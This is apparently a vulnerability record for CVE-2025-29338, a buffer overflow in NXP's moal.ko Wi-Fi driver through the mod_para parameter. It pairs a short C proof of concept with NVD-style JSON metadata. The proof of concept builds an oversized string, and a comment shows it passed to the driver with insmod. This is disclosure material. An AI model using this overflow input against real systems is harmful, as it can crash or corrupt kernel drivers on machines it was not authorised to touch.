CVE-2025-29338

#include <stdio.h> #include <stdlib.h> #include <string.h> /* * PoC for CVE-2025-29338 * Trigger buffer overflow in moal.ko driver via mod_para * Note: This requires local high privileges to load the module. */ int main() { // Create a large buffer to trigger overflow in mod_para char payload[1024]; memset(payload, 'A', sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; printf("Simulating malicious mod_para parameter:\n"); printf("%s\n", payload); // In a real scenario, this string would be passed as a module parameter // e.g., insmod moal.ko mod_para="<payload>" // This would trigger the vulnerability in woal_init_module_param return 0; }

{"cve": {"id": "CVE-2025-29338", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:35.190", "lastModified": "2026-05-14T16:16:19.160", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NXP moal.ko Wi-Fi driver 5.1.7.10 FW version from v17.92.1.p149.43 To v17.92.1.p149.157 was discovered to contain a buffer overflow via the mod_para parameter in the woal_init_module_param function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:H", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/masjadaan/CVE-2025-29338", "source": "[email protected]"}, {"url": "https://www.nxp.com/docs/en/release-note/RN00104.pdf", "source": "[email protected]"}]}}